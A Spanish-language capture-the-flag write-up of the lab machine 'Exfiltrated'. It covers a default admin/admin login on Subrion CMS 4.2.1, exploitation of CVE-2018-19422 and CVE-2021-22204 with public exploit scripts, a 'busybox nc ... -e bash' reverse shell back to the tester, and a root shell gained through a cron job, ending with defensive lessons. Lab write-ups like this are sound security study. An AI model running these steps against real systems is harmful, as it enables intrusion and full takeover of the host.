Exfiltrated
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Exfiltrated redirige a un vhost, exfiltrated.offsec, que sirve Subrion CMS 4.2.1. El panel entra con credenciales por defecto (admin/admin) y una subida de fichero saltándose el filtro da RCE comowww-data(CVE-2018-19422). En el sistema, un cron de root ejecutaexiftoolsobre las imágenes que subimos (cron sobre directorio escribible). Esa versión de ExifTool es vulnerable a la RCE de DjVu (CVE-2021-22204): subimos un.jpgmalicioso, el cron lo procesa como root y nos devuelve una shell de root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Dos puertos:
ping -c 1 192.168.195.163
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.195.163PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.195.163 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
| http-robots.txt: 7 disallowed entries
|_/backup/ /cron/? /front/ /install/ /panel/ /tmp/ /updates/HTTP - TCP 80
El puerto 80 no responde por IP: redirige a http://exfiltrated.offsec/ (virtual hosting por nombre). El navegador no resuelve ese nombre hasta que lo declaramos nosotros:

Lo añadimos a /etc/hosts:
echo "192.168.195.163 exfiltrated.offsec" | sudo tee -a /etc/hosts192.168.195.163 exfiltrated.offsecYa resuelto, la web muestra una plantilla corporativa ("KICKSTART") con su enlace de Log in. El robots.txt ya adelantaba rutas interesantes (/panel/, /backup/, /install/) y /panel/ es el panel de administración:

Subrion CMS: credenciales por defecto
El panel acepta las credenciales por defecto admin / admin:

Dentro, la configuración general confirma el producto y su versión: el sufijo de los títulos es :: Powered by Subrion 4.2:

Explotación
Subrion CMS 4.2.1: subida de fichero a RCE (CVE-2018-19422)
Subrion 4.2.1 arrastra la CVE-2018-19422: el gestor de ficheros del panel valida la extensión de forma incompleta, y subir un .phar (que Apache ejecuta como PHP) esquiva el filtro y da ejecución (CVE-2018-19422). El exploit 49876.py automatiza login, subida y webshell:
searchsploit 'subrion cms 4.2'------------------------------------------------------------- ---------------------------
Exploit Title | Path
------------------------------------------------------------- ---------------------------
Subrion CMS 4.2.1 - Arbitrary File Upload | php/webapps/49876.py
------------------------------------------------------------- ---------------------------Copiamos el exploit y lo renombramos a algo manejable:
searchsploit -m php/webapps/49876.py
mv 49876.py subrioncms_exp.py
python subrioncms_exp.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Login Successful!
[+] Upload Success ... Webshell path: http://exfiltrated.offsec/panel/uploads/<rand>.phar
$ whoami
www-dataDejamos Penelope a la escucha en el 22 (un puerto permitido por el filtrado de salida):
penelope 22Desde la webshell lanzamos una reverse shell y la estabilizamos:
busybox nc 192.168.45.174 22 -e bash
(Penelope)> listeners add -p 22
[+] Got reverse shell from exfiltrated~192.168.195.163-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
www-data@exfiltrated:/var/www/html/subrion/uploads$ whoami
www-dataEscalada de privilegios
Cron de root que ejecuta ExifTool
Enumerando, el /etc/crontab tiene una entrada de root que corre cada minuto un script, y ese script pasa exiftool por cada .jpg del directorio de subidas de Subrion (cron sobre directorio escribible):
cat /etc/crontab | tail
cat /opt/image-exif.sh
exiftool -ver
* * * * * root bash /opt/image-exif.shIMAGES='/var/www/html/subrion/uploads'
...
ls $IMAGES | grep "jpg" | while read filename;
do
exiftool "$IMAGES/$filename" >> $LOGFILE
doneDos hechos encadenan la escalada: el directorio uploads es escribible por www-data (ahí subimos la webshell), y exiftool -ver devuelve 11.88, vulnerable a la RCE de DjVu.
CVE-2021-22204: RCE en ExifTool vía DjVu
ExifTool <= 12.23 ejecuta código al parsear metadatos de una imagen DjVu incrustada (CVE-2021-22204). Buscando el CVE damos con el exploit de LazyTitan33, cuyo README describe el fallo (DjVu en ExifTool 7.44+):

Con él generamos un payload.jpg que lleva embebido un reverse shell hacia nosotros:
git clone https://github.com/LazyTitan33/ExifTool-DjVu-exploit
python3 CVE-2021-22204.py 2>/dev/null
payload.jpg image is ready to be used.
# ls
CVE-2021-22204.py README.md payload.jpgDescargamos el payload.jpg al directorio de subidas (escribible) y ponemos un listener. Cuando el cron de root procese la imagen con exiftool, disparará el payload:
# en la shell de www-data
wget http://192.168.45.174/payload.jpg
# en nuestra máquina
rlwrap nc -nlvp 4445
listening on [any] 4445 ...
connect to [192.168.45.174] from (UNKNOWN) [192.168.195.163] 58954
bash: cannot set terminal process group (43250): Inappropriate ioctl for device
bash: no job control in this shell
root@exfiltrated:~# whoami
rootEn menos de un minuto el listener recibe la conexión como root.
Local y Proof
Con root leemos ambas flags (la local.txt vive en el home de coaran):
cat /home/coaran/local.txt && whoami && ip a && hostname
97a8e54d8d285163f2d806adc7ab7d1f
rootcat proof.txt && whoami && ip a && hostname
58714e9cfb1152b414ff197ba095f86e
rootCadena de ataque
HTTP (80) -- redirect -> vhost exfiltrated.offsec (Subrion CMS)
│ panel con creds por defecto (admin/admin)
│ CVE-2018-19422: subida .phar -> RCE
▼
www-data
│ cron root -> exiftool sobre /var/www/html/subrion/uploads (escribible)
│ exiftool 11.88 vulnerable -> CVE-2021-22204 (payload.jpg DjVu)
▼
root (local.txt + proof.txt)Lecciones aprendidas
- Un redirect a un vhost es una pista, no un muro. El 80 por IP no daba nada hasta añadir
exfiltrated.offseca/etc/hosts. El nombre en la cabecera de redirección era el camino. - Las credenciales por defecto siguen abriendo paneles.
admin/adminen Subrion fue todo el esfuerzo de autenticación necesario para llegar a la subida de ficheros. - Validar extensiones por lista es frágil. La CVE-2018-19422 explota que
.pharse ejecuta como PHP y no estaba filtrado; la validación debe ser por tipo real y con una allowlist estricta. - Un cron de root que toca un directorio escribible por el atacante es RCE. No hacía falta modificar el script: bastaba poner un fichero que el propio
exiftool(vulnerable) procesara como root. Las tareas privilegiadas no deben operar sobre datos que controla un usuario sin confianza.